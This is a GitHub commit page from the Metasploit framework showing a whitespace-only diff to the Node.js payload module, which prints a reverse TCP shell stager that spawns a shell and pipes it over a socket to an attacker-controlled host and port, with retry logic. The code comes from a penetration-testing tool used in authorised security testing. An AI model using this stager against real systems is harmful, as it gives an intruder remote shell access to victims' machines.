Skip to content

Commit b8d0986

Browse files
authored
Merge pull request #7 from jmartin-r7/adjust_9077_whitespace
Adjust whitespace per desired style
2 parents a0abffb + 6df8c40 commit b8d0986

File tree

1 file changed

+17
-19
lines changed

1 file changed

+17
-19
lines changed

lib/msf/core/payload/nodejs.rb

Lines changed: 17 additions & 19 deletions
Original file line numberDiff line numberDiff line change
@@ -57,25 +57,23 @@ def nodejs_reverse_tcp(opts={})
5757
sh = cp.spawn(cmd, []);
5858
var client = this;
5959
var counter=0;
60-
function StagerRepeat(){
61-
client.socket = net.connect(#{datastore['LPORT']}, "#{lhost}", #{tls_hash} function() {
62-
client.socket.pipe(sh.stdin);
63-
if (typeof util.pump === "undefined") {
64-
sh.stdout.pipe(client.socket);
65-
sh.stderr.pipe(client.socket);
66-
} else {
67-
util.pump(sh.stdout, client.socket);
68-
util.pump(sh.stderr, client.socket);
69-
}
70-
});
71-
socket.on("error", function(error) {
72-
counter++;
73-
if(counter<= #{datastore['StagerRetryCount']}){
74-
setTimeout(function() {
75-
StagerRepeat();
76-
}, #{datastore['StagerRetryWait']}*1000);
77-
} else
78-
process.exit();
60+
function StagerRepeat(){
61+
client.socket = net.connect(#{datastore['LPORT']}, "#{lhost}", #{tls_hash} function() {
62+
client.socket.pipe(sh.stdin);
63+
if (typeof util.pump === "undefined") {
64+
sh.stdout.pipe(client.socket);
65+
sh.stderr.pipe(client.socket);
66+
} else {
67+
util.pump(sh.stdout, client.socket);
68+
util.pump(sh.stderr, client.socket);
69+
}
70+
});
71+
socket.on("error", function(error) {
72+
counter++;
73+
if(counter<= #{datastore['StagerRetryCount']}){
74+
setTimeout(function() { StagerRepeat();}, #{datastore['StagerRetryWait']}*1000);
75+
} else
76+
process.exit();
7977
});
8078
}
8179
StagerRepeat();

0 commit comments

Comments
 (0)